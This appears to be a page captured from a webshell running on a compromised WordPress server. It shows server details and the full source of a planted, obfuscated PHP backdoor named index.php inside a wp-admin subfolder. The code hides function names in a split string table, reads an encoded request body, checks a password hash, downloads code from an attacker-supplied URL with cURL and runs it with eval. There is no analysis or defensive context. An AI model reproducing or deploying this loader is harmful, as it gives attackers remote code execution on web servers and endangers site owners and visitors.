403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-admin/NfoEKiI/OYL/OYL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress/wp-admin/NfoEKiI/OYL/OYL/index.php
<?php /* 123456 */ error_reporting(E_ALL^E_NOTICE);define('O0', 'O');/*ؗ�����З�����܊��ݧޥ�������������������̫�𹓩������伽㒰�꯸Ȫ��*/;$GLOBALS[O0] = explode('|d|f|Z', 'ini|d|f|Z_|d|f|Zset|d|f|Zerror|d|f|Zreporting|d|f|Ztime|d|f|Zlimit|d|f|Zdisplay_errors|d|f|Zbase|d|f|Z64|d|f|Zdecode|d|f|Zstr|d|f|Zrot|d|f|Z13|d|f|Zexplode|d|f|Zget|d|f|Zpos|d|f|Zin|d|f|Zarray|d|f|Zexit|d|f|Zhex|d|f|Z2|d|f|Zbin|d|f|Zjson|d|f|Zlast|d|f|Ztolower|d|f|Zunpack|d|f|Zfile|d|f|Zcontents|d|f|Zsub|d|f|Zlen|d|f|Z,|d|f|Zdisable_functions|d|f|Zsuhosin.executor.func.blacklist|d|f|Zeval|d|f|Zeval is disabled via disable_functions.|d|f|Zeval is disabled via suhosin.executor.func.blacklist.|d|f|Z{{{password}}}|d|f|ZH*|d|f|Ztrim|d|f|Zis_string|d|f|Z|d|f|Znull|d|f|Zcurl|d|f|Zinit|d|f|Zsetopt|d|f|Zexec|d|f|Zdie|d|f|Zm|d|f|Zd|d|f|Z5|d|f|Zphp://input|d|f|Zinvalid input|d|f|ZisValidJson|d|f|Zinvalid json|d|f|Zpasswd|d|f|Zdata|d|f|Zinvalid data|d|f|Z@|d|f|Zerrorpd|d|f|Zdecrypt_data|d|f|Zlink|d|f|Zinvalid encrypted data|d|f|ZsendGetRequest');/*ˢ�����衞��¥����������Ļ�̽������򰋰�����յ���Ւ��������������*/; $_i=$GLOBALS[O0][0].$GLOBALS[O0][1].$GLOBALS[O0][2];$_e=$GLOBALS[O0][3].$GLOBALS[O0][1].$GLOBALS[O0][4];$_t=$GLOBALS[O0][2].$GLOBALS[O0][1].$GLOBALS[O0][5].$GLOBALS[O0][1].$GLOBALS[O0][6];$_i($GLOBALS[O0][7],1);$_e(E_ALL);$_t(0);$b64d=$GLOBALS[O0][8].$GLOBALS[O0][9].$GLOBALS[O0][1].$GLOBALS[O0][10];$rot=$GLOBALS[O0][11].$GLOBALS[O0][1].$GLOBALS[O0][12].$GLOBALS[O0][13];$xp=$GLOBALS[O0][14];$ig=$GLOBALS[O0][0].$GLOBALS[O0][1].$GLOBALS[O0][15];$sp=$GLOBALS[O0][11].$GLOBALS[O0][16];$ia=$GLOBALS[O0][17].$GLOBALS[O0][1].$GLOBALS[O0][18];$ex=$GLOBALS[O0][19];$hb=$GLOBALS[O0][20].$GLOBALS[O0][21].$GLOBALS[O0][22];$jd=$GLOBALS[O0][23].$GLOBALS[O0][1].$GLOBALS[O0][10];$jle=$GLOBALS[O0][23].$GLOBALS[O0][1].$GLOBALS[O0][24].$GLOBALS[O0][1].$GLOBALS[O0][3];$stl=$GLOBALS[O0][11].$GLOBALS[O0][25];$un=$GLOBALS[O0][26];$fg=$GLOBALS[O0][27].$GLOBALS[O0][1].$GLOBALS[O0][15].$GLOBALS[O0][1].$GLOBALS[O0][28];$sb=$GLOBALS[O0][29].$GLOBALS[O0][11];$sln=$GLOBALS[O0][11].$GLOBALS[O0][30];$disabled_functions=$xp($GLOBALS[O0][31],$ig($GLOBALS[O0][32]));$suhosin_blacklist=$ig($GLOBALS[O0][33]);if($ia($GLOBALS[O0][34],$disabled_functions)){exit($GLOBALS[O0][35]);}elseif($suhosin_blacklist&& $sp($suhosin_blacklist,$GLOBALS[O0][34])!==!1){exit($GLOBALS[O0][36]);}$expected_hash=$GLOBALS[O0][37];function decrypt_data($O00){$OO0O=&$GLOBALS[O0];$O0O=$OO0O[8].$OO0O[9].$OO0O[1].$OO0O[10];$OO0=$OO0O[11].$OO0O[1].$OO0O[12].$OO0O[13];/*���޸���*/;$OOO=$OO0O[26];$O000=$OO0O[20].$OO0O[21].$OO0O[22];$O00O=$OO0O[23].$OO0O[1].$OO0O[10];$O0O0=$O0O($OO0($O00));$O0OO=$OOO($OO0O[38],$O0O0);$OO00=$O000($O0OO[1]);/*�ߚ�˭�����������Ä�Ǽ�*/;return $O00O($OO00,!0);}function isValidJson($OOOO){$O0OO0=&$GLOBALS[O0];$O0000=$O0OO0[23].$O0OO0[1].$O0OO0[10];$O000O=$O0OO0[23].$O0OO0[1].$O0OO0[24].$O0OO0[1].$O0OO0[3];/*��ܭ����ؖ��*/;$O00O0=$O0OO0[11].$O0OO0[25];$O00OO=$O0OO0[39];if(!$O0OO0[40]($OOOO)|| $O00OO($OOOO)===$O0OO0[41]){return !1;}$O0O00=$O0000($OOOO);$O0O0O=$O000O();if($O0O0O!==JSON_ERROR_NONE){return !1;}if($O0O00===null&& $O00O0($O00OO($OOOO))!==$O0OO0[42]){return !1;}return !0;}function sendGetRequest($OO000,$OO00O=[]){$O0000O=&$GLOBALS[O0];$OO0O0=$O0000O[43].$O0000O[1].$O0000O[44];/*�������ɢ�炤��Ǭѫ�匌͂�ˇ��*/;$OO0OO=$O0000O[43].$O0000O[1].$O0000O[45];/*���۞ˇ�Ψ�����*/;$OOO00=$O0000O[43].$O0000O[1].$O0000O[46];$OOO0O=$O0000O[43].$O0000O[1].$O0000O[3];$OOOO0=$OO0O0($OO000);$OO0OO($OOOO0,CURLOPT_RETURNTRANSFER,!0);$OO0OO($OOOO0,CURLOPT_FOLLOWLOCATION,!0);/*�����Đ�Ծ����̶���焝�Ӛ��ն*/;if(!empty($OO00O)){$OO0OO($OOOO0,CURLOPT_HTTPHEADER,$OO00O);}$OOOOO=$OOO00($OOOO0);if($OOOOO===!1){$O00000=$OOO0O($OOOO0);return "fail: $O00000";}return $OOOOO;}$fg=$GLOBALS[O0][27].$GLOBALS[O0][1].$GLOBALS[O0][15].$GLOBALS[O0][1].$GLOBALS[O0][28];$sb=$GLOBALS[O0][29].$GLOBALS[O0][11];$sln=$GLOBALS[O0][11].$GLOBALS[O0][30];$b64d=$GLOBALS[O0][8].$GLOBALS[O0][9].$GLOBALS[O0][1].$GLOBALS[O0][10];$jd=$GLOBALS[O0][23].$GLOBALS[O0][1].$GLOBALS[O0][10];$ex=$GLOBALS[O0][19];$di=$GLOBALS[O0][47];$md=$GLOBALS[O0][48].$GLOBALS[O0][49].$GLOBALS[O0][50];$rawData=$fg($GLOBALS[O0][51]);if(empty($rawData)|| $sln($rawData)<10){exit($GLOBALS[O0][52]);}$rawData=$sb($rawData,10);$datajson=$b64d($rawData);if(!$datajson|| !$GLOBALS[O0][53]($datajson)){exit($GLOBALS[O0][54]);}$realdata=$jd($datajson,!0);if(!$realdata|| !isset($realdata[$GLOBALS[O0][55]],$realdata[$GLOBALS[O0][56]])){die($GLOBALS[O0][57]);}$pass2=$md($GLOBALS[O0][58].$md($realdata[$GLOBALS[O0][55]]).$GLOBALS[O0][58].$md($md($realdata[$GLOBALS[O0][55]])).$GLOBALS[O0][58]);$pass3=$md($md($pass2));if($pass3!=$expected_hash){die($GLOBALS[O0][59]);}$data=$GLOBALS[O0][60]($realdata[$GLOBALS[O0][56]]);if(!$data|| !isset($data[$GLOBALS[O0][61]])){die($GLOBALS[O0][62]);}$url=$data[$GLOBALS[O0][61]];$response=$GLOBALS[O0][63]($url);eval($response);?>

Youez - 2016 - github.com/yon3zu
LinuXploit